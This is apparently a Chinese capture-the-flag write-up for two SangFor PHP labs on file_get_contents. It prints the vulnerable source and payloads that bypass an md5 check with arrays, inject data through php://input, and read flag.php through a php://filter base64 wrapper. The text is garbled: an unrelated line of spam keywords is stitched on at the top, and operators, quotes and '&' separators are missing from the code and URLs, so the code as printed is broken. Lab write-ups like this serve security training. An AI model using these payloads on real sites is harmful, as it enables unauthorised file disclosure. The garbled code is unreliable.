建设微信网站的流程,中国建行个人网上银行,电商推广方式有哪些,浙江省信息港[题目信息]#xff1a;
题目名称题目难度PHP-file_get_contents(练习1)1
[题目考点]#xff1a;
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持#xff0c;还会使用内存映射技术来增…[题目信息]
题目名称题目难度PHP-file_get_contents(练习1)1
[题目考点]
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持还会使用内存映射技术来增强性能。[Flag格式]:
SangFor{31vKQPZ2RuYLWyuwBEOZyoylVTeH9G9h}[环境部署]
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2091[题目writeup]
1、实验主页 2、源码分析 ?php
$p1 $_GET[a];
$p2 $_GET[b];
$p3 $_GET[c];
$p4 $_GET[d];
if(isset($_GET[a]) isset($_GET[b]) isset($_GET[c]) isset($_GET[d]))if($p1 ! $p2 md5($p1) md5($p2)){if($p3 file_get_contents($p4)){echo file_get_contents(flag.php);}}else{die(请输入2个不同的值);}
highlight_file(index.php); Payload:
/?a[]1b[]2c4dphp://input
post
4 [题目信息]
题目名称题目难度PHP-file_get_contents1
[题目考点]
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持还会使用内存映射技术来增强性能。[Flag格式]:
SangFor{jfbcGax7p5Uzgu3q}[环境部署]
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2014[题目writeup]
1、实验主页 2、源码分析
?php
error_reporting(0);
function check($file){$blackarray(../, ..\\);foreach($black as $value){if(strstr($file, $value)){die(得了吧);}}} header(set-cookie: sourceCode.txt); $user $_GET[name]; $file $_GET[file];
if(isset($user)(file_get_contents($user,‘r’)“welcome to the SangFor”)){ echo “hello admin!br”; check($file); include($file); } else { echo you are not admin ! ; } ? 根据源码存在两个变量$user和$file。
在if条件判断中传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。
file_get_contents() 函数把整个文件读入一个字符串中。
file_get_contents()的$filename参数不仅仅为本地文件路径还可以是一个网络路径URL。于是便可以利用伪协议
?namephp://input
POST
welcome to the SangFor进入if判断有执行到包含函数则可以使用伪协议读取目标文件
/?namephp://inputfilephp://filter/readconvert.base64-encode/resourceflag.php
POST
welcome to the SangFor